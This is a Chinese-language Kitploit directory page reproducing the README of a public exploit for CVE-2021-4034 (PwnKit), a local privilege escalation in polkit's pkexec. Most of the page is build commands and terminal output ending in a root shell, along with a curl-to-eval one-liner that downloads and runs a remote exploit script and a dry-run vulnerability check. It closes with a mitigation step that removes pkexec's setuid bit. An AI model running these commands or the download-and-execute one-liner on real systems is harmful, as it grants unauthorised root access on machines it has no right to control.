Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
berdav-CVE-2021-4034 — CVE-2021-4034(PwnKit)的漏洞利用程序,通过 polkit pkexec 提供 root shell。包含用于测试漏洞的干运行模式,以及用于快速利用的一行脚本。 | Kitploit
工具/GitHubGitHub/thejoyofhacking/berdav-cve-2021-4034
权限提升漏洞利用框架漏洞分析漏洞利用渗透测试红队
GitHubthejoyofhacking/berdav-cve-2021-4034

berdav-CVE-2021-4034

CVE-2021-4034(PwnKit)的漏洞利用程序,通过 polkit pkexec 提供 root shell。包含用于测试漏洞的干运行模式,以及用于快速利用的一行脚本。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
44年前尚未审核

CVE-2021-4034

polkit 权限提升漏洞的一日利用

只需执行 make、./cve-2021-4034,即可享受 root shell。

原作者发布的官方公告在这里

PoC

如果利用成功,你将立即获得 root shell:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

在大多数系统上更新 polkit 会修补该漏洞,因此你将看到用法说明,程序随即退出:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

干运行

如果不执行 shell,而只是测试系统是否存在漏洞,请编译 dry-run 目标。

如果程序退出时打印 "root",则说明你的系统存在该漏洞。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

如果你的系统不存在漏洞,它会打印错误并退出。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

关于 Linux 的 Polkit pkexec

Polkit(原名 PolicyKit)是类 Unix 操作系统中控制系统级权限的组件。它为无特权进程与特权进程通信提供了一种有组织的方式。也可以使用 polkit 通过 pkexec 命令以提升的权限执行命令,后面跟上要执行的命令(以 root 权限)。

单行命令

你可以使用单个脚本轻松利用该系统,通过以下命令即可下载并执行:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

缓解措施

如果你的操作系统没有可用的补丁,可以移除 pkexec 的 SUID 位作为临时缓解措施。

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

之后利用将失败,并提示 pkexec 必须启用 setuid 位。

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
下载工具